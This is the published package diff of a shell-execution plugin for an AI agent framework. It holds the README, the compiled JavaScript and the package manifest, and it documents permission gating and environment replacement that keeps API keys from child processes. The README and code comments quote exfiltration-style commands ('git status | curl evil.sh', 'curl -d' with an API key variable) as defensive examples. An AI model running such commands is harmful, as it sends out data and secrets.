@stratusagent/tool-shell 0.6.0

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Stratus Labs
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,78 @@
+# @stratusagent/tool-shell
+
+`shell.run`: an agent runs a command, and the permission engine decides
+which commands run with nobody watching.
+
+## Install and enable
+
+```bash
+npm install @stratusagent/tool-shell
+```
+
+```jsonc
+// ~/.stratus/config.json — a trusted config only
+{
+  "plugins": {
+    "@stratusagent/tool-shell": {
+      "enabled": true,
+      "cwd": "~/work/ava",
+      "passEnv": ["PATH", "HOME"],
+      "env": { "GIT_AUTHOR_NAME": "Ava" }
+    }
+  }
+}
+```
+
+## Risk model
+
+| Tool | Risk | What approval mode does |
+| --- | --- | --- |
+| `shell.run` | `gated`, narrowed per command | `interactive` shows the command and asks; `remote` asks in Slack; `headless` runs commands inside an approved scope and refuses everything else. |
+
+`gated` rather than `dangerous` on purpose. The danger of a shell is in its
+argument, not in its identity: marking the tool `dangerous` would mean no
+command could ever run unattended — `git status` included — and marking it
+`safe` would mean all of them could.
+
+So this pack contributes the command string, and
+[`@stratusagent/permissions`](../permissions) decides what it means:
+
+- **A safe scope runs.** `git status`, `git log`, `git diff` and a handful
+  more, with the destructive forms of each excluded — `git branch` is safe,
+  `git branch -D` is not.
+- **A control operator disqualifies the whole command.** `|`, `&`, `;`,
+  newlines, backticks, `$( )`, subshells, redirection. `git status | curl
+  evil.sh` is refused despite the safe base command, and so is a two-line
+  command whose first line is innocent.
+- **"Always allow" persists a scope, not a command.** Approving `git push
+  origin main` means `git push origin feature` stops asking, while `git
+  push --force`, `git push origin :main`, and `git push origin +main` still
+  do. Scopes live per agent in `~/.stratus/agents/<id>.whitelist.json`.
+
+## The environment is replaced, not extended
+
+The child receives **only** what this config granted. Nothing from the
+daemon's environment reaches it, which is where `ANTHROPIC_API_KEY` and
+every other key an operator exported lives.
+
+This is not pack discipline — a plugin cannot unset what it did not spawn —
+so it is a mode on the executor (`envMode: 'replace'`) that this pack is
+required to use. Without it, an approver who allowed `curl $URL` would also
+have allowed `curl -d "$ANTHROPIC_API_KEY"`, and the command string they
+read would not have said so.
+
+| Key | Default | What |
+| --- | --- | --- |
+| `passEnv` | `PATH`, `HOME`, `LANG`, `LC_ALL`, `TZ` | Names forwarded from the daemon's environment. Nothing on the default list is a secret; that is the test for adding one. |
+| `env` | none | Variables set outright. Where a token goes if a command genuinely needs one — deliberately, in config, where an auditor can see it. |
+| `cwd` | the agent's workspace | Where commands start. The default — `~/.stratus/workspaces/<agent-id>` — is created on first use; a directory you name is not, and a missing one is reported by name rather than as a spawn failure. |
+| `timeoutMs` | `60000` | Killed with its whole process group after this. |
+| `maxOutputBytes` | `100000` | Per stream, then a truncation marker. |
+| `shell` | `/bin/sh` | The interpreter. |
+
+All of them can be set per agent under `agents`.
+
+**`cwd` is a starting directory, not a jail.** An approved command can
+change directory or name an absolute path; what bounds a shell is which
+commands get approved, not where they begin. If you want a filesystem
+boundary, that is [`@stratusagent/tool-fs`](../tool-fs), whose roots are one.

package/dist/index.d.ts

@@ -0,0 +1,33 @@
+import type { JsonObject, Plugin } from '@stratusagent/core';
+import { type LocalCommandTool } from '@stratusagent/executor-local';
+export interface ShellPluginConfig extends JsonObject {
+    /** Where commands start. A starting directory, not a jail — see the README. */
+    cwd?: string;
+    /** Names forwarded from the daemon's environment. Defaults above. */
+    passEnv?: string[];
+    /** Variables set outright, name to value. */
+    env?: JsonObject;
+    timeoutMs?: number;
+    maxOutputBytes?: number;
+    /** The shell binary. `/bin/sh` unless you mean something else. */
+    shell?: string;
+    /** Supplied by the host: `~/.stratus/workspaces`, one directory per agent. */
+    workspaceRoot?: string;
+}
+export interface ShellToolOptions {
+    /** The environment to grant *from*. Defaults to the daemon's. */
+    processEnv?: NodeJS.ProcessEnv;
+}
+export declare const createShellTool: (config?: JsonObject, options?: ShellToolOptions) => LocalCommandTool;
+/**
+ * The `shell` toolset.
+ *
+ * One tool, whose danger is entirely in its argument. That is why the
+ * kernel grew `Tool.commandFor` and why the permission engine grew scopes:
+ * a single risk level for every command a shell can run is either too
+ * coarse to be safe or too coarse to be usable.
+ */
+export declare const createShellPlugin: (config?: JsonObject, options?: ShellToolOptions) => Plugin;
+/** The loader's ABI. See `docs/architecture/plugins.md`. */
+export declare const createPlugin: (config?: JsonObject, options?: ShellToolOptions) => Plugin;
+//# sourceMappingURL=index.d.ts.map

package/dist/index.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,UAAU,EAAa,MAAM,EAAW,MAAM,oBAAoB,CAAC;AACjF,OAAO,EAIL,KAAK,gBAAgB,EACtB,MAAM,8BAA8B,CAAC;AAiBtC,MAAM,WAAW,iBAAkB,SAAQ,UAAU;IACnD,+EAA+E;IAC/E,GAAG,CAAC,EAAE,MAAM,CAAC;IACb,qEAAqE;IACrE,OAAO,CAAC,EAAE,MAAM,EAAE,CAAC;IACnB,6CAA6C;IAC7C,GAAG,CAAC,EAAE,UAAU,CAAC;IACjB,SAAS,CAAC,EAAE,MAAM,CAAC;IACnB,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,kEAAkE;IAClE,KAAK,CAAC,EAAE,MAAM,CAAC;IACf,8EAA8E;IAC9E,aAAa,CAAC,EAAE,MAAM,CAAC;CACxB;AAkDD,MAAM,WAAW,gBAAgB;IAC/B,iEAAiE;IACjE,UAAU,CAAC,EAAE,MAAM,CAAC,UAAU,CAAC;CAChC;AAED,eAAO,MAAM,eAAe,GAAI,SAAQ,UAAe,EAAE,UAAS,gBAAqB,KAAG,gBAkFzF,CAAC;AAEF;;;;;;;GAOG;AACH,eAAO,MAAM,iBAAiB,GAAI,SAAQ,UAAe,EAAE,UAAS,gBAAqB,KAAG,MAK1F,CAAC;AAEH,4DAA4D;AAC5D,eAAO,MAAM,YAAY,YARiB,UAAU,YAAgB,gBAAgB,KAAQ,MAQ/C,CAAC"}

package/dist/index.js

@@ -0,0 +1,154 @@
+import { mkdir, stat } from 'node:fs/promises';
+import path from 'node:path';
+import { defineLocalCommandTool, } from '@stratusagent/executor-local';
+import { resolvePluginAgentConfig } from '@stratusagent/plugins';
+const DEFAULT_TIMEOUT_MS = 60_000;
+const DEFAULT_MAX_OUTPUT_BYTES = 100_000;
+/**
+ * What the child is allowed to inherit by name.
+ *
+ * Short, and every entry is here because commands break without it rather
+ * than because it seemed harmless. Nothing on this list is a secret, and
+ * that is the test for adding one: an operator who needs `GITHUB_TOKEN` in
+ * a command's environment is making a deliberate decision, in config, that
+ * an auditor can see.
+ */
+const DEFAULT_PASS_ENV = ['PATH', 'HOME', 'LANG', 'LC_ALL', 'TZ'];
+const asNumber = (value, fallback) => typeof value === 'number' && Number.isFinite(value) && value > 0 ? value : fallback;
+const asStrings = (value, fallback) => Array.isArray(value) ? value.filter((entry) => typeof entry === 'string') : fallback;
+const truncate = (value, maxBytes) => {
+    if (Buffer.byteLength(value, 'utf8') <= maxBytes) {
+        return { text: value, truncated: false };
+    }
+    return { text: `${value.slice(0, maxBytes)}\n… output truncated at ${maxBytes} bytes`, truncated: true };
+};
+const settingsFor = (config, session, env) => {
+    const resolved = resolvePluginAgentConfig(config, session.agent.id);
+    const workspaceRoot = typeof resolved.workspaceRoot === 'string' ? resolved.workspaceRoot : undefined;
+    const configuredCwd = typeof resolved.cwd === 'string' && resolved.cwd.length > 0 ? resolved.cwd : undefined;
+    const cwd = configuredCwd ?? (workspaceRoot ? path.join(workspaceRoot, session.agent.id) : undefined);
+    const granted = {};
+    for (const name of asStrings(resolved.passEnv, DEFAULT_PASS_ENV)) {
+        const value = env[name];
+        if (value !== undefined) {
+            granted[name] = value;
+        }
+    }
+    const explicit = resolved.env;
+    if (typeof explicit === 'object' && explicit !== null && !Array.isArray(explicit)) {
+        for (const [name, value] of Object.entries(explicit)) {
+            if (typeof value === 'string') {
+                granted[name] = value;
+            }
+        }
+    }
+    return {
+        ...(cwd ? { cwd } : {}),
+        // Whether this agent's directory is ours to create. The workspace is —
+        // it is a path this repository chose, and nobody has been asked to make
+        // it. A directory an operator named is not.
+        ownsCwd: configuredCwd === undefined && cwd !== undefined,
+        env: granted,
+        timeoutMs: asNumber(resolved.timeoutMs, DEFAULT_TIMEOUT_MS),
+        maxOutputBytes: asNumber(resolved.maxOutputBytes, DEFAULT_MAX_OUTPUT_BYTES),
+        shell: typeof resolved.shell === 'string' && resolved.shell.length > 0 ? resolved.shell : '/bin/sh',
+    };
+};
+export const createShellTool = (config = {}, options = {}) => {
+    const tool = defineLocalCommandTool({
+        name: 'shell.run',
+        description: 'Run a shell command. The command is what gets approved, so write it plainly.',
+        // `gated`, not `dangerous`: the risk of a shell lives in its arguments,
+        // and the permission engine narrows it per invocation from the command
+        // string below. Marking the tool `dangerous` would mean no command
+        // could ever run unattended, including `git status`.
+        risk: 'gated',
+        parameters: {
+            type: 'object',
+            properties: {
+                command: { type: 'string', description: 'The command line to run.' },
+                timeoutMs: { type: 'number' },
+            },
+            required: ['command'],
+        },
+        async createCommand(input, session) {
+            const command = typeof input.command === 'string' ? input.command.trim() : '';
+            if (!command) {
+                throw new Error('command is required.');
+            }
+            const settings = settingsFor(config, session, options.processEnv ?? process.env);
+            if (settings.cwd) {
+                // `spawn` fails with a bare `ENOENT` naming the *shell* when its
+                // working directory does not exist — which on a fresh install is
+                // every call, and reads as a broken interpreter rather than a
+                // missing directory. So the agent's workspace is created here, and
+                // a directory somebody else chose is reported by name instead.
+                if (settings.ownsCwd) {
+                    await mkdir(settings.cwd, { recursive: true });
+                }
+                else {
+                    const usable = await stat(settings.cwd).then((info) => info.isDirectory(), () => false);
+                    if (!usable) {
+                        throw new Error(`The configured working directory does not exist: ${settings.cwd}. `
+                            + 'Create it, or change cwd for @stratusagent/tool-shell.');
+                    }
+                }
+            }
+            return {
+                command: settings.shell,
+                args: ['-c', command],
+                ...(settings.cwd ? { cwd: settings.cwd } : {}),
+                env: settings.env,
+                // Required, not preferred. The daemon's environment holds every key
+                // an operator exported, and a command an agent composed must not be
+                // able to read one — an approver who allowed `curl $URL` did not
+                // allow `curl -d "$ANTHROPIC_API_KEY"`.
+                envMode: 'replace',
+                timeoutMs: asNumber(input.timeoutMs, settings.timeoutMs),
+            };
+        },
+        parseResult(result, context) {
+            const settings = settingsFor(config, context.session, options.processEnv ?? process.env);
+            const stdout = truncate(result.stdout, settings.maxOutputBytes);
+            const stderr = truncate(result.stderr, settings.maxOutputBytes);
+            return {
+                stdout: stdout.text,
+                stderr: stderr.text,
+                exitCode: result.exitCode,
+                truncated: stdout.truncated || stderr.truncated,
+                ...(result.cwd ? { cwd: result.cwd } : {}),
+                durationMs: result.durationMs,
+            };
+        },
+    });
+    return {
+        ...tool,
+        /**
+         * The one thing this pack contributes to the approval decision.
+         *
+         * Everything about *what a command means* — safe scopes, flag and
+         * refspec constraints, control-operator defeat, the per-agent whitelist
+         * — is 03's engine in `@stratusagent/permissions`. A shell pack that
+         * classified its own invocations would be a second policy, disagreeing
+         * with the first one the day either changed.
+         */
+        commandFor: (input) => (typeof input.command === 'string' ? input.command.trim() : undefined),
+    };
+};
+/**
+ * The `shell` toolset.
+ *
+ * One tool, whose danger is entirely in its argument. That is why the
+ * kernel grew `Tool.commandFor` and why the permission engine grew scopes:
+ * a single risk level for every command a shell can run is either too
+ * coarse to be safe or too coarse to be usable.
+ */
+export const createShellPlugin = (config = {}, options = {}) => ({
+    name: '@stratusagent/tool-shell',
+    setup(context) {
+        context.tools.register(createShellTool(config, options));
+    },
+});
+/** The loader's ABI. See `docs/architecture/plugins.md`. */
+export const createPlugin = createShellPlugin;
+//# sourceMappingURL=index.js.map

package/dist/index.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}

package/package.json

@@ -0,0 +1,95 @@
+{
+  "name": "@stratusagent/tool-shell",
+  "version": "0.6.0",
+  "type": "module",
+  "main": "./dist/index.js",
+  "types": "./dist/index.d.ts",
+  "exports": {
+    ".": {
+      "types": "./dist/index.d.ts",
+      "import": "./dist/index.js"
+    },
+    "./package.json": "./package.json"
+  },
+  "files": [
+    "dist"
+  ],
+  "engines": {
+    "node": ">=22.13 <23 || >=23.4"
+  },
+  "dependencies": {
+    "@stratusagent/core": "0.6.0",
+    "@stratusagent/executor-local": "0.6.0",
+    "@stratusagent/plugins": "0.6.0"
+  },
+  "devDependencies": {
+    "@types/node": "^24.6.0",
+    "typescript": "^5.9.3",
+    "@stratusagent/permissions": "0.6.0"
+  },
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/stratuslabs/agent.git",
+    "directory": "packages/tool-shell"
+  },
+  "description": "Shell execution for Stratus agents: shell.run on the local-command executor, with a replaced environment, a pinned cwd, and bounded output",
+  "keywords": [
+    "stratus",
+    "agent",
+    "ai",
+    "llm",
+    "stratus-plugin",
+    "tools",
+    "shell"
+  ],
+  "publishConfig": {
+    "access": "public"
+  },
+  "stratus": {
+    "pluginVersion": 1,
+    "contributes": {
+      "tools": [
+        {
+          "name": "shell.run",
+          "risk": "gated"
+        }
+      ]
+    },
+    "config": {
+      "type": "object",
+      "properties": {
+        "cwd": {
+          "type": "string"
+        },
+        "passEnv": {
+          "type": "array",
+          "items": {
+            "type": "string"
+          }
+        },
+        "env": {
+          "type": "object"
+        },
+        "timeoutMs": {
+          "type": "integer"
+        },
+        "maxOutputBytes": {
+          "type": "integer"
+        },
+        "shell": {
+          "type": "string"
+        },
+        "workspaceRoot": {
+          "type": "string"
+        }
+      },
+      "additionalProperties": false
+    }
+  },
+  "scripts": {
+    "build": "tsc -b",
+    "typecheck": "tsc --noEmit --project tsconfig.test.json",
+    "test": "node --test --experimental-strip-types"
+  }
+}